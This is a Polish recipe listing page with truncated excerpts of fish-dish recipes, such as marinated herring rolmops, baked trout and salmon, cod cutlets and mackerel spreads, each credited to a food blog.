pisałam już poprzednio przy wstawianych przepisach na śledzia, dla mnie grudzień to miesiąc śledzia właśnie. Dziś zapraszam na kolejną wariację na temat tej pysznej ryby, czyli przepis na domowe rolmopsy z czerwoną papryką. Bez nich, według mnie, po prostu nie ma świąt :-). Domowe rolmopsy z papryką Czas przygotowania: 30 minut + czas marynowania Składniki: 6 filetów śledziowych 1/2 czerwonej papryki

Kulinarne przygody Gatity
Halibut w panierce z marchewki 172

Lubimy nowe wyzwania, nowe smaki. Nie lubimy monotonnego jedzenia, więc chętnie się nim bawimy. W marchewkową panierkę zawinęliśmy jedną z bardziej charakterystycznych w smaku ryb, znanych w Polsce. Do tego aromatyczny pieprz cytrynowy, wymieszany w idealnych proporcjach. Smaku, wraz z aromatem użyczył nam Rafex:  https://www.facebook.com/rafex.eu/?fref=ts  http://rafex.eu/mieszanki-przypraw-c-31.html# Składniki 800 g halibuta 1 cebula

R'n'G Kitchen
Pstrąg z koperkiem. 126

Składniki: 2 pstrągi 1 pęczek koperku 2 ząbki czosnku 4 plastry masła Pstrągi myjemy, osuszamy papierowymi ręcznikami. Do środka ryb wkładamy posiekany koperek i przeciśnięty przez praskę czosnek oraz masło. Obtaczamy w mące i smażymy na rozgrzanym! oleju. Po usmażeniu podajemy z cytryną.  Smacznego

Moje-pitraszenie
Śledź po kaszubsku 116

wiem jak to jest, ale z początkiem grudnia, rok w rok, nachodzi mnie ogromna ochota na śledzie ! A ponieważ i mój mąż jest wielbicielem tej pysznej ryby, przyrządzam je na różne sposoby. Na blogu znajdziecie także  śledzia w oleju z cebulą ,  śledzia w sosie czosnkowym  oraz  śledzia w oleju z pieczonymi burakami .  Będą jak znalazł

Kulinarne przygody Gatity
OCTOWE ROLMOPSY 154

Wigilia nie może obejść się bez ryb. Śledzie też są obowiązkowe na tym świątecznym , wyjątkowo zastawionym stole. W tym roku w moim menu znajdą się też te octowe rolmopsy, z warzywami- pyszne   Składniki: 6 filetów śledziowych solonych czerwona papryka 1 czerwona cebula 3 ogórki octowe musztarda marynata octowa: 2 szkl wody 2 szkl octu 7 łyżek cukru łyżeczka soli

Z Majeczką w kuchni
Kotlety mielone z dorsza 125

łyżki bułki tartej 1 łyżka majonezu 1 jajko sól, pieprz 1 łyżka przyprawy  Caffe de Paris bułka tarta do obtoczenia olej do smażenia Sposób przygotowania: Rybę mielimy, jak zamrożona to wcześniej rozmrażamy ją, przekładamy do miski. Dodajemy jako, bułkę  tartą, majonez oraz przyprawę Caffe de Paris , mieszamy i doprawiamy do smaku solą , pieprzem. Z masy formujemy

Bajeczna Kuchnia
Tatar ze śledzia z musztardą francuską 153

Kochani ostatnio mieliście okazję zapoznać się z książką "Ryby są Super" recenzja tutaj  . Dzisiaj wzięliśmy książkę w obroty i przedstawiamy świetny przepis Doroty Wellman na tatara ze śledzia. Większość się boi eksperymentować, bo uważa że tatar to wołowy albo z łososia. Taka miła niespodzianka i bardzo fajny przepis idealny na zbliżające się święta czy jako przystawka Sylwestrowa

Niezły Młynek
Rybka z pomidorem. 108

pomidor 1/2 małego jogurtu naturalnego czosnek, papryka mielona ostra, pieprz Fileta smarujemy oliwą i nacieramy czosnkiem, smażymy z każdej strony. Pomidora kroimy w półplasterki. Jogurt mieszamy z przyprawami. Rybę wykładamy na talerz razem z pomidorem, polewamy jogurtem. Smacznego

Moje-pitraszenie
Mintaj z pastą z soczewicy. 124

wody (ok. 0,5 szklanki) i gotujemy do miękkości - odcedzamy i przekładamy do plastikowej miski, wsypujemy wszystkie przyprawy oraz wlewamy oliwę. Wszystko razem miksujemy na jednolitą masę. W międzyczasie rybę obtaczamy w mące i smażymy na odrobinie oliwy. Podajemy razem. Pozostałą pastę można podawać na kanapki, na kolację lub śniadanie. :) Smacznego

Moje-pitraszenie
Flądra na ziemniaczkach. 107

grubości) gotujemy aby trochę zmiękły - ok. 10 minut. Flądrę kroimy w kawałki posypujemy pieprzem i solą. Po odcedzeniu ziemniaków wykładamy je do naoliwionego naczynia żaroodpornego, posypujemy bazylią - potem kładziemy rybę i również posypujemy bazylią i wyciskamy na nią sok z cytryny. Zapiekamy przez 35 minut w piekarniku nagrzanym do 180 stopni. Smacznego

Moje-pitraszenie
Rolmopsy z ogórkiem i oliwkami (bez zalewy) 198

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   Przepis autorski (mój). Prosta propozycja dla miłośników śledzi. Co prawda - wolę inne ryby lub wersję śledzia na słodko (np. z rodzynkami), ale od czasu do czasu mogę sobie pozwolić na takiego rolmopsa. (Unikam octu.) Ważne, że mojej rodzinie smakują i dlatego często są przeze mnie przyrządzane (w różnych wersjach).   8 marynowanych płatów

Di gotuje
Gulasz rybny 149

oprószyć ją mąką. Dodać zimny bulion, paprykę, przecier i resztę przypraw. Mieszankę doprowadzamy do wrzenia i pozwalamy delikatnie zgęstnieć (w razie potrzeby możemy doprawić nieco do smaku). Dodajemy rybę i dusimy pod przykryciem ok. 20 minut

Gotuj z Rumcajsem
Łosoś w sosie curry z brokułem i czarnym ryżem 146

danie zjadłam w dobrym towarzystwie, bo było co świętować. Łosoś to moja ulubiona ryba. Od czasu do czasu warto sobie pogilgotać smakowe kubki. Danie jest szybkie i wykwintne. Niezwykle rozgrzewające i aromatyczne. Inspirowałam się książką Marka Zaremby "Jaglany detoks"- tam podejrzałam przepis i chcę przekazać go Wam, bo warto! Składniki 1 – 2 filety z łososia bez skóry pół brokuła

Z Kuchni Do Kuchni
Ryba z greckim sosem 162

Ryba podana w ten sposób doskonale smakuje na ciepło jak również w postaci zimnej przekąski. Warzywa nadają jej soczystości i pełniejszego smaku. W mojej rodzinie często pojawia się na wigilijnym stole i przy innych okazjach. Składniki ok. 800 g dowolnej … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Karp z pieca - rácponty 189

przygotowany karp też zachwyci smakoszy tej ryby.  Składniki 1 karp - 2,5 kg 1 łyżka słodkiej papryki 3 kg ziemniaków 250 g cebuli 100 g masła 2 szklanki kwaśnej śmietany     Przygotowanie Karpia umyłem w zimnej wodzie, osuszyłem, posoliłem i natarłem papryką na zewnątrz i od środka. Skórkę karpia ponacinałem ostrym nożem w równych odstępach. Ziemniaki obrałem, pokroiłem

R'n'G Kitchen
Dorsz z sosem porowym 127

Dorsz z sosem porowym Piątkowy obiad , to już jakoś zazwyczaj tradycyjnie rybnie lub po prostu lekko . Jest to też po części spowodowane tym ,że po całym

Ogrodnik w podróży
Dorsz w panierce z brokułu 221

Bardzo smaczna i udana propozycja na połączenie ryby i warzywa. Używając brokuła często pozostaje nam tzw "głąb"...wiele osób wyrzuca, a w nim tkwi cały smak warzywa. Postanowiliśmy wykorzystać go w naszym przepisie...choć różyczki też starliśmy ;) Składniki 500 g filetów z dorsza 1 brokuł (może być sam "głąb") bułka tarta mąka 2 jajka olej do smażenia sól, pieprz

R'n'G Kitchen
pyszniutka makrela z majonezem,kiszonym ogórkiem i... 122

pieprz czarny mielony 1/2 łyżeczki, majonez 3 łyżki, szczypiorek 1/2 pęczka makrelę wędzoną dokładnie obrać z ości i wkładać do miski ogórki, cebulę, szczypiorek drobno pokroić i wsypać do ryby dodać pieprz mielony, majonez i dokładnie wszystko wymieszać schować do lodówki na 30 minut aby smaki się "przegryzły" - smaczna pasta do pieczywa ciemnego, tostów, faszerowania jajek..................SMACZNEGO

W Mojej Kuchni Lubię
Panierka paleo 192

fitowego i/lub tłuszczy omega-6, więc raczej nie zalecamy ich jedzenia. Najprostsza, najszybsza i chyba najtańsza panierka paleo to jajko i wiórki kokosowe , taka panierka doskonale się sprawdza do ryb i drobiu. Świetnie do niej pasuje nierafinowany olej kokosowy , ale do smażenia można też wziąć rafinowany olej kokosowy albo masło klarowane. Kokos, migdały, siemię lniane i orzechy są dozwolone

PaleoSMAK
ZUPA OGÓRKOWA BIELONA Z BOCZKIEM 142

śmietany 2 marchewki 1 pietruszka 1 cebula 1 por biała część 1 seler 1 łyżka masła 1 łyżka mąki sól ziele angielskie ********************************* Gotujemy smak z różnej włoszczyzny i ryby i ziemniaków, wlewamy bulion z ogórków i Gotujemy około godziny.Podsmażamy lekko mąkę na maśle , zaprawiany tym zupę ,zabielamy śmietaną i wkładamy poszatkowane i ugotowane osobno ogórki ,Zagotować.Na rozgrzanej patelni

Kocurkowe rozmyślania w kuchni Anielki
Łosoś z serem i sosem tatarskim 122

Kiedy łosoś się piecze przygotowujemy sos: cebulę i podgrzybki drobno kroimy, ogórka ścieramy na tarce. Mieszamy z majonezem, musztardą, chrzanem, solą i pieprzem.  5. Po upieczeniu polewamy rybę sosem. Podajemy z ulubionymi dodatkami

Szefowa kuchni
Twarożek łososiowy a la myszka 228

pomidorków koktajlowych pieprz mielony opcjonalnie koperek pieprz mielony Przygotowanie: Twaróg rozgniatamy z łososiem na gładką masę - najlepiej za pomocą widelca. Doprawiamy mielonym pieprzem, ewentualnie solą - ale bez przesady, ponieważ ryba jest dość słona. Na talerzu układamy kromkę chleba. Twaróg dzielimy na 2-4 porcje, z każdej formujemy w dłoniach kulkę, a następnie spłaszczając z jednej strony łezkę. Układamy na chlebie

Kulinarne Inspiracje
Superszybka sałatka z ciecierzycy 394

puszka ciecierzycy fenkuł biała rzodkiew (połowa korzenia) puszka makreli w sosie pomidorowym ewentualnie: chili sól świeżo mielony pieprz Ciecierzycę odcedzić. Wodę można zostawić i wykorzystać do zrobienia wegańskich bez. Rybę rozdrobić i razem z sosem dodać do ciecierzycy. Z fenkułu usunąć głąb i pokroić w talarki. Rzodkiew obrać ze skóry i zetrzeć na tarce o grubych oczkach lub pokroić

Weekendy w domu i ogrodzie
Pstrąg w galarecie 161

szaszłyków. Gdy wywar się już ugotował wyciągnęłam z niego por i wlałam 4 łyżki octu. Włożyłam pstrągi, ( powinny być całe zakryte) gotowałam na wolnym ogniu przez 30 minut. Ryby wyciągnęłam, wyłożyłam na półmisek, dodałam ugotowaną marchewkę i zielony groszek. Odlałam 1/2 litra klarownego wywaru, zagotowałam, dodałam 3 łyżeczki żelatyny, dokładnie wymieszałam, żeby się rozpuściła. Galaretkę wystudziłam, tężejącą zalałam pstrągi

Darcia w kuchni
pstrąg zapiekany w folii 133

cytryny. Z każdej strony posypałam pieprzem, solą , rozdrobnionym czosnkiem. Na dwie godziny  włożyłam do lodówki. Piekarnik zagrzałam do temperatury 200 stopni. Pstrąga położyłam na folie aluminiową, do środka ryby włożyłam natkę pietruszki, kopru i kawałki masła. Na wierzch także położyłam po kawałeczku masełka. Folię zawinęłam. Piekłam tak zamknięte przez 25 minut, potem jeszcze 5 minut na otwartej folii. Folię

Darcia w kuchni
Paluszki rybne 126

Mój syn nie przepada za rybą. Postanowiłam przygotować ją w taki sposób aby sam poprosił o kawałek. Mięso zmieliłam trzykrotnie, doprawiłam i usmażyłam w formie rybnych paluszków. Kiedy je fotografowałam, … Czytaj dalej Paluszki rybne

Fiołkowa Kuchnia Małgorzaty
Gravlax z wiśniówką, sosem chrzanowym z kiszonymi burakami i jadalną ziemią 166

buraki i szczelnie owinąć folią. Obciążyć i wstawić do lodówki na 48 godzin. Z łososia usunąć marynatę,  odciąć skórę,  osuszuć ręcznikiem. Posiekać koperek i wyłożyć na rybę, przed podaniem pokroić w cienkie plastry. Sos: zmiksować wszystkie składniki, doprawić do smaku. Jadalna ziemia: zmiksować wszystkie składniki

SzczyptaSmaQ
Łosoś, soczewica i sos śmietanowo-musztardowy. 167

gotujemy przez 35 minut. W połowie gotowania dokładamy do garnka fasolkę. Filety z łososia doprawiamy solą i pieprzem oraz świeżym tymiankiem. Każdy filet zawijamy w folię aluminiową, robiąc paczuszkę. Rybę umieszczamy w piekarniku i pieczemy przez 15 minut w temperaturze 160°C W między czasie robimy sos. Posiekana szalotkę podsmażamy na maśle. Gdy ładnie się zeszkli dolewamy na patelnię śmietanę

Przysmaki Karolki
Pieczony łosoś na liściach młodego szpinaku 142

Krótki moment zastanowienia... Jak opisać to co widzicie? Delikatną rybę przenika aromat kilku przypraw. Proporcję są wyważone. Królować musi łosoś. Dodatki jednak nie są zupełnie nieme. Duszony szpinak skąpany w sosie śmietanowo - czosnkowym, dziki ryż, lekko kwaśny sos malinowy i intensywnie fioletowe borówki. Talerz jest przepełniony kolorami i uzupełniającymi się smakami. Składniki dla 4 osób: 4 kawałki łososia, każdy

Kuchnia Pani Wiosny
Ośmiornica z bitą śmietaną Cafe de Paris 177

muszlach po przegrzebkach. Śmietanę ubijamy z gotową mieszanką ziół, która skomponował Freddy Dumont w roku 1941 w "Cafe de Paris" w Genewie. Przyprawę można używać do sosów, dipów, masła, ryb, warzyw i sałatek. Mizeria z ogórka i rzodkiewek zamiast śmietany tym razem z olejem krokoszowym Oleofarm. Czas przygotowania: Porcje: 4 Składniki: 8 kawałków ugotowanej ośmiornicy , zioła do przybrania. Bita śmietana

SzczyptaSmaQ
SAŁATKA Z WĘDZONEJ MAKRELI W PRZYPRAWACH 141

smaku sałatka z  filetów z wędzonej makreli w przyprawach. Sałatka ta jest idealna na przyjęcia w dużym i małym gronie oraz na codzień. Ja osobiście uwielbiam sałatki z rybą, są lekkie i sycące.  Mam nadzieję że taka propozycja sałatki nie tylko mi przypadnie do gustu:) SMACZNEGO :)  SKŁADNIKI: SOS:    Makrela: SPOSÓB PRZYGOTOWANIA:  Makrelę delikatnie kroję

Gotowanie Patki
Smak wyspy Chios 119

może chodnikiem. Czując na twarzy powiew morskiej bryzy przechadzamy się wśród uliczek, na których rosną pomarańcze. Miejce to jest pełne straganów oraz sklepów ze świeżymi rybami - bajka! Szukając dobrej, lokalnej restauracji posiłkowałem się przewodnikiem wydawnictwa Pascal. Słowo pisane zaprowadziło mnie do Restauracji Byzantio . Miejsce to istnieje od 1965 roku i prowadzone jest od początku przez jedną rodzinę

Right Behind The Kitchen
PIECZONY PSTRĄG W ZIOŁACH Z CYTRYNĄ I CZOSNKIEM 91

które nadadzą rybce piękny zapach, gałązki zielonej pietruszki i tymianku lub rozmarynu. Miękkie masło wymieszać z przeciśniętym przez praskę czosnkiem  i włożyć po łyżce do środka każdej ryby. Odstawić na około dwie godziny do lodówki. Wstawić pstrągi do nagrzanego do 220 stopni piekarnika  i piec około 20-30 minut. Pstrąga można zawinąć w folię i upiec

potrawyregionalne
ŚLEDZIE W OLEJU Z CEBULĄ 186

przyrządzać na bardzo wiele sposobów np.w curry,w pomidorach,musztardzie. Ale chyba najbardziej tradycyjny, to śledź w oleju z cebulką, który często gości na naszych stołach. Śledź należy do ryb tłustych dzięki czemu jest bardzo bogaty w omega-3 kwasy tłuszczowe, witaminę D, selen i witaminy B12, a także minerały tj. żelazo, cynk, miedź,  fosfor

potrawyregionalne
ŁOSOŚ SMAŻONY W SEZAMIE 180

Wsypałam na talerz ziarna sezamu. Łososia wyjęłam z marynaty i obtoczyłam w ziarnach. Smażyłam go w niewielkiej ilości oleju przez około  5-10 minut w zależności od grubości ryby. Łososia można podawać z dowolnym makaronem i surówką. Smacznego

potrawyregionalne
PASTA Z WĘDZONEGO PSTRĄGA 164

Przyprawiłam solą i pieprzem do smaku. Wsypałam pokrojony szczypiorek. Wszystko wymieszałam.  Pora na głównego bohatera. Obrałam go z ości i starałam się nie za bardzo go rozdrobnić.   Kawałki ryby wymieszałam z wcześniej przygotowanym serkiem.     Pasta jest idealna na kanapki. Smacznego

potrawyregionalne
SAŁATKA ZIEMNIACZANA Z WĘDZONYM REKINEM 204

Dodałam majonez, jogurt i przyprawy. I tak powstała pyszna sałatka. Idealna na imprezy jak i kolację w rodzinnym gronie. Możecie oczywiście zamiast mięsa z rekina użyć innej - ulubionej wędzonej ryby. SMACZNEGO! Polecam również inne sałatki ziemniaczane. SAŁATKA ZIEMNIACZANA Z ŁOSOSIEM SAŁATKA ZIEMNIACZANA Z KAPARAMI   JAJKIEM OGÓRKIEM W C URRY SAŁATKA ZIEMNIACZANA Z CZOSNKIEM SAŁATKA Z ZIEMNIAKÓW Z SZYNKĄ

potrawyregionalne
ŚLEDZIE SMAŻONE W ZALEWIE OCTOWEJ 189

mące. Smażyłam na gorącym tłuszczu, aż nabrały złotego koloru. Można też dodać do mąki wody. Mieszając powstanie gęste ciasto. Obtoczyłam w nim płaty śledziowe. i smażyłam  aż ryba się upiekła i zbrązowiała. Wyłożyłam ją na papierowy ręcznik.  Próbowałam obu wersji i stwierdzam,że lepsza jest obtoczona tylko w mące. Śledź jest wtedy twardszy. Ciasto oddziela się i "pływa

potrawyregionalne
Weekendowe śniadanie w 15 minut. Pasta z wędzonej makreli na grzance 143

włożyć do metalowej formy na muffiny formując koszyczek. Piec w 200 stopniach kilka minut (do zrumienienia). Serek wymieszać z majonezem, sokiem z cytryny, cebulą, ogórkiem i przyprawami. Dodać mięso ryby rozdrobnione widelcem (bez ości i skóry), wymieszać i ewentualnie doprawić do smaku. Słonecznik uprażyć na suchej patelni. Gorące grzanki napełnić pastą, posypać ziarnami słonecznika i kiełkami

SzczyptaSmaQ
Sushi 171

sushi (przygotowany jak powyżej) matę bambusową do rolowania ostry nóż liście nori- prasowane algi wasabi- zielony, bardzo ostry chrzan marynowany imbir sos sojowy no i oczywiście zawartość rolek (ryby, surimi, ogórek, awokado itd) Zanim zaczniemy sprawdzamy czy ryż na pewno już wystygł. Przygotowujemy miseczkę z wodą do maczania palców. Dla późniejszej wygody przygotowujemy wszystkie składniki, kroimy na odpowiednie porcje. Rozkładamy

Smakowity Blog Kulinarny
Pstrąg w sosie śmietanowo-chrzanowym 192

słoiczka (wg gustu i ostrości) 150-200 ml śmietanki 30% (może być też 12-18%) 2 łyżki posiekanego koperku olej pieprz cytrynowy, sól Opcjonalnie: sok z cytryny   Rybę z obu stron oprószyć solą, pieprzem cytrynowym i przełożyć na patelnię z niewielką ilością rozgrzanego oleju.   (Uprzednio można odstawić na około 1/2 godziny do lodówki.)   Dusić pod przykryciem przez

Di gotuje
Zapiekanka z tuńczykiem 184

Jeśli lubicie ryby, to danie jest dla was idealne Zapiekanka makaronowa z tuńczykiem i pomidorami. Składniki: 250g ulubionego makaronu puszka tuńczyka w oleju cebula puszka pomidorów 200g żółtego sera 180 g jogurtu naturalnego jajko sól, pieprz Przygotowanie Makaron gotujemy al dente w posolonej wodzie. Cebulę kroimy w kostkę i podsmażamy na patelni, do cebuli dodajemy zmiksowane pomidory i chwilę dusimy

e-PrzepisyKulinarne
Dorada z grilla 154

dorady sól pieprz sok z cytryny oliwa tymianek Oliwę wymieszać z przyprawami i sokiem z cytryny, natrzeć ryby i odstawić na ok 2 godziny. Piec z obu stron na grillu. Ja użyłam elektryczny. Podałam z ziemniaczkami z frytownicy ActiFry i surówką

Gotowanie jest łatwe
Bakłażan z sardynkami w pomidorach – ekspresowy sos do makaronu 161

Trzy główne składniki, dwa składniki dodatkowe, przyprawy. Bakłażan, pomidor i sardynki są podstawą tego szybkiego i bardzo sycącego sosu do makaronu. To mocno aromatyczne danie dzięki połączeniu drobnych wędzonych ryb, maślanego bakłażana i słodko-kwaśnych pomidorów. Bakłażana obrać cienko ze skórki i pokroić w niezbyt dużą kostkę. Cebule obrać i pokroić w cienkie plasterki. Kapary odsączyć z zalewy. W rondlu

Karo in the Kitchen
Miruna z tymiankiem pieczona 169

filety miruny ze skórką ok 500-600 g tymianek oliwa sól pieprz ocet winny Rybę rozmrozić, posypać tymiankiem, pieprzem i solą, skropić oliwą i octem winnym, zawinąć w folię spożywczą i odstawić na ok 2 godziny. Filety zwinąć w rulon , można spiąć by się nie obróciły w pieczeniu. Piec ok 30 min w temp 180 st Podawać surówką

Gotowanie jest łatwe
Sałatka z Wędzonej Mareli 199

Znakommita Sałatka z Wędzonej Makreli dla każdego. Ja często używam ją jako pasta do pieczywa. Mój Mąż który nie jest miłośnikiem ryb z chęcią ją je i jest bardzo zadowolony.  Myślę, że jest bardzo łatwa do wykonania i nie droga.  Sałatka Z Wędzonej Makreli  Składniki: 1 Makrela Wędzona 3 Jajka Gotowane 6 Ogórków Konserwowych Pół Pora Pół

Gotowanie Patki
Pieczony łosoś ze szpinakiem i puree ziemniaczanym 129

Uwielbiam rybę w każdej postaci i z przeróżnymi dodatkami. Ostatnio przedstawiłam Wam pikantnego łososia z dodatkiem świeżej mięty. Dzisiaj natomiast proponuję wykorzystać świeży szpinak a łososia upiec z dodatkiem dużej ilości soku z cytryny! Składniki: 400 gram filetu z łososia sól pieprz cytrynowy 1/4 cytryny 1/4 pęczka bazylii 1 szalotka 100 gram świeżego szpinaku 1 ząbek czosnku pieprz

Mango Papaja
Łosoś w truskawkach 151

skórą,  to kładziemy skórą do dołu), skropić sokiem z cytryny, posolić i popieprzyć. Truskawki pokroić w niezbyt cienkie plasterki i obłożyć nimi łososia, resztę poukładać między kawałkami ryby. Naczynie przykryć i wstawić do nagrzanego na 180 stopni piekarnika na około 30 minut (w zależności od wielkości i grubości dzwonków). Podawać natychmiast najlepiej na mieszance ulubionych sałat lub innej zieleniny

Codzienne Gotowanie
ŚLEDŹ W CIEŚCIE PIWNYM 164

sztywno.Żółtka wymieszać z piwem,dodać szczyptę soli,pieprz,przesianą mąkę i delikatnie wymieszać by powstało gęste ciasto.Na końcu delikatnie wmieszać ubitą pianę. W garnku podgrzać tłuszcz,kawałki ryby kolejno zanurzać w cieście i porcjami smażyć na złoto - brązowo w głębokim tłuszczu. Osączyć na papierowym ręczniku,podawać według uznania.   Oczywiście rybka przyrządzona w ten sposób może być dowolna,taka

Niespełnione zdolności kulinarne
Kotleciki z soczewicy tuńczyka i fety 165

Soczewica coraz częściej jest wykorzystywana jako bogaty w białko zamiennik mięsa. W połączeniu z tuńczykiem i fetą jest smaczną alternatywą także dla piątkowej panierowanej ryby. Kotleciki z soczewicy podane z sosem grzybowym albo czosnkowo-jogurtowym to szybki sposób na smaczny obiad. Składniki na 12 kotlecików: 100 g soczewicy 1 puszka tuńczyka w sosie własnym 100 g sera feta 1 jajko

Trzeci talerz
Mintaj zapiekany z paprykami i cukinią 206

Lubicie rybę?  Ja bardzo, a najbardziej dobrze przyrządzoną.  Dziś proponuję filet z mintaja zapiekany z paprykami, cukinią i cebulą.  Mniam! Mintaj zapiekany z paprykami i cukinią Składniki: 5 filetów z mintaja, 2 łyżki soku z cytryny, papryka zielona, papryka czerwona, mała cukinia, 2 cebule, szczypta słodkiej i ostrej papryki, soli i pieprzu. Wykonanie: Filet myjemy, osuszamy, kroimy

paapilotkaa
Proste kedgeree 154

Prosta,  bardzo smaczna śniadaniowa potrawka z ryżu z dodatkiem wędzonej ryby i ugotowanych na twardo jajek. U mnie dodatkowo wzbogacona krewetkami koktajlowymi. Składniki: ½ l bulionu warzywnego, 150 g wędzonego łososia (u mnie z koperkiem), 150 g krewetek koktajlowych, 300 g brązowego ryżu, 1 cebula, 3 ząbki czosnku, 5 niedużych jajek, sok z ½ cytryny, oliwa z oliwek, sól, pieprz, curry

Nie tylko w kuchni
KOTLECIKI RYBNE Z PIECZARKAMI 166

Kotleciki rybne chodziły za mną od dawna. Udało mi się dzisiaj stworzyć delikatną i smaczną wersję rybki ,taką alternatywę dla kotletów mielonych. Składniki:  50 dag filetów z dowolnej ryby 25 dag pieczarek 1 cebula bułka tarta sól,pieprz 2-3 ząbki czosnku jajko  Pieczarki oczyścić,pokroić w kostkę i smażyć na maśle razem z posiekaną cebulą. Filety zmielić

Niespełnione zdolności kulinarne
Grzanki z filetem z makreli i szpinakiem 175

kostkę. Wrzucacie na patelnię i podsmażacie. Na koniec dodajecie szpinak , solicie, pieprzycie i i smażycie przez kilka minut. Wykładacie na kawałki pieczywa. Na to kładziecie po plasterku sera, kawałku ryby, suszonym pomidorze odsączonym z zalewy (możecie go pokroić też na kawałki). Rozgrzewacie piekarnik do 180 stopni (np. w opcji grill) i pieczecie, aż ser się stopi. Smacznego! Click to view

GRUBY WAŁEK
Łosoś w papilotach 159

sosu sojowego TaoTao sok z 1/2 cytryny 1 łyżka lubczyku ogrodowego natka pietruszki łyżka masła czosnkowego 2 łyżki sosu chilli słodko-pikantnego TaoTao 1/2 papryki sól himalajska pieprz PRZYGOTOWANIE: Rybę przekrój na pół wzdłuż. Sporządź marynatę (masło, sos sojowy, sos chilli, sok z cytryny, posiekana natka, lubczyk, sól, pieprz). Paprykę pokrój na paseczki. Weź dwa kawałki papieru do pieczenia

ClauditteMissCooking
Pasta z makreli i jaj 188

jaja ugotowane na twardo pół wędzonej makreli 1ogórek małosolny/kiszony pół małej cebulki łyżeczka musztardy 1łyżka jogurtu naturalnego lub majonezu biały pieprz szczypior kolendra Wykonanie: 1. Oddziel mięso ryby od ości i skóry. Dokładnie sprawdź czy nie zostały ości. 2. Jaja ugotuj,obierz i posiekaj w kosteczkę. 3. Cebulę obierz i posiekaj. Ogórka posiekaj. 4. Do michy wrzuć wszystkie składniki

Fiolka w kuchni
PROSTE KOTLETY RYBNE Z TUŃCZYKIEM I ZIEMNIAKAMI 342

mojej rodzinie w każdy piątek unikamy mięsa, a na obiad najczęściej serwujemy ryby. Dziś zmierzyłam się z koszmarem mojego dzieciństwa, czyli z kotletami rybnymi. Uważam się za osobę nawróconą i będę przygotowywać je częściej! Dodatek ziemniaków, ziół i przypraw sprawia, że rybny smak jest delikatniejszy. Myślę, że takie kotlety bardzo zasmakują Waszym pociechom :). Przepis ze zdjęciami krok po kroku . Jeżeli

Przepisy Aleksandry
pyszna flądra z garam masala... 118

cytryny 1 łyżka, olej rzepakowy 1/4 szklanki, sól morska 1 łyżeczka przygotować marynatę: garam masala, pieprz, sól, sok z cytryny, olej dobrze wymieszać kupiłam nieduże fląderki oczyszczone bez skóry, ryby opłukać i na ręczniku papierowym osuszyć flądry włożyć do marynaty, dobrze je natrzeć i schować do lodówki na 5 godzin na mocno rozgrzanej patelni grillowej flądry griilować na rumiano

W Mojej Kuchni Lubię
dorsz pieczony z grejpfrutem 232

stopni i pieczemy około 20-25 minut. W tym czasie drugiego grejpfruta dzielimy na cząstki, a następnie usuwamy nożem wszystkie białe, gorzkie części i wykrawamy sam miąższ. Rybie roladki wyciągamy z piekarnika. Na talerze układamy cząstki grejpfruta, obok układamy dorszowe roladki a następnie polewamy je sosem z granatu i chilli. Podajemy razem z ryżem, białym lub brązowym, albo z innymi

Miód i pieprz
Pstrąg tęczowy parzony- soczysty jak z patelni 160

zielone dodatki ułożyć na talerzu, a pstrąga odwinąć z folii i ułożyć na warzywach razem ze skórką. Tak wygląda ładniej. Bez problemu można zdjąć ją już na talerzu. Rybę i warzywa polać winegretem i od razu podać. Więcej winegretu można podać dodatkowo w kokilce

Sztuka gotowania w/g Samiry
Pstrąg tęczowy parzony- soczysty jak z patelni 161

zielone dodatki ułożyć na talerzu, a pstrąga odwinąć z folii i ułożyć na warzywach razem ze skórką. Tak wygląda ładniej. Bez problemu można zdjąć ją już na talerzu. Rybę i warzywa polać winegretem i od razu podać. Więcej winegretu można podać dodatkowo w kokilce

Sztuka gotowania w/g Samiry
Zaskakująco dobra sałatka z wędzoną rybą, makaronem i żółtym serem 196

Pewnie niektórzy pomyśleli, że przeszłam w blogowy niebyt. Ale nic z tych rzeczy! Mam nadzieję, że wypoczęliście na wakacjach ode mnie również;), ponieważ wracam! Uwielbiam ryby pod każdą postacią, ale nigdy nie jadłam sałatki, w której królowałaby wędzona makrela. No i przyszedł taki dzień, że wzięłam sprawy w swoje ręce, a efekt moich poczynań poniżej. SKŁADNIKI makaron

Zofiana
Zupa rybna na ostro 197

chrupiącego pieczywa czy grzanki jak znalazł szczególnie teraz kiedy pogoda wieczorami jest ładnie ujmując brzydka. Taka zupka Was rozgrzeje i na pewno poprawi humor :) Na bulion używajcie waszych ulubionych ryb, Ja użyłam łososia. Składniki: 2 l bulionu rybnego 1 limonka 2 liście laurowe 500 g świeżego filetu rybnego ( użyłam łososia)  1 papryczka chilli 1 gałązka lubczyku ogrodowego

Niezły Młynek
Omlet z żółtym serem, ogórkiem, awokado i wędzonym łososiem czyli mleczne śniadanie na rozpoczęcie roku szkolnego 118

Pyszne, pożywne śniadanie, które polubi nawet największy niejadek. Podane z kakao stanowi wartościowy posiłek i idealne śniadanie. Omlet z żółtym serem, zdrowymi warzywami i smaczną, wędzoną rybą to idealny pomysł na pyszne rozpoczęcia dnia. Mleko i przetwory mleczne to ważne elementy w diecie dzieci i młodzieży, ponieważ są źródłem wapnia, witaminy A i D oraz ryboflawiny. Produkty mleczne powinny byś

Mango Papaja
Łosoś teriyaki 107

1godzine. Najlepiej gdy postoi tak przez noc. Na patelnię wykładamy łososia skórą do dołu I smażymy na średnim ogniu przez kilka minut. Wylewamy resztę sosu I ciągle polewamy nim rybę. Sos zgęstnieje. Wtedy dolewany sake. Łosoś powinien tak się smażyć ok 15minut. Pamiętajmy, żeby nie przeciągać smażenia zbyt długo bo łosoś będzie suchy. Smacznego

Smaki Przyprawy i Kolory
Chrupiąca ryba w kukurydziano-porowej panierce 143

papierowym,oprószyć grubo pieprzem cytrynowym. Płatki kukurydziane przesypać do woreczka foliowego pokruszyć drobniutko.Por umyć posiekać drobno nożem wymieszać z płatkami i bułką tartą. Jaja rozkłócić widelcem z solą . 2. Rybę panierować kolejno w mące kukurydzianej jajku i na końcu w porowo-kukurydzianej panierce.Smażyć na rozgrzanym oleju ryżowym lub roślinnym z obu stron na rumiano. podawać z surówką z kapusty

Na Ciasteczkowych Papierach
Sałatka śledziowa w konserwowym towarzystwie 166

pieprz do smaku 2-3 łyżki oleju do sałatek, może być oliwa Sposób wykonania: Śledzie moczymy w wodzie ok pół godziny, by wypłukać nadmiar soli. Następnie wszystkie składniki, czyli ryby, pieczarki, paprykę, cebulę i ogórki kroimy w drobną kostkę. Mieszamy i doprawiamy pieprzem. Dodajemy olej i jeszcze raz mieszamy. Tak przygotowaną sałatkę odstawiamy do lodówki na kilka godzin przed podaniem

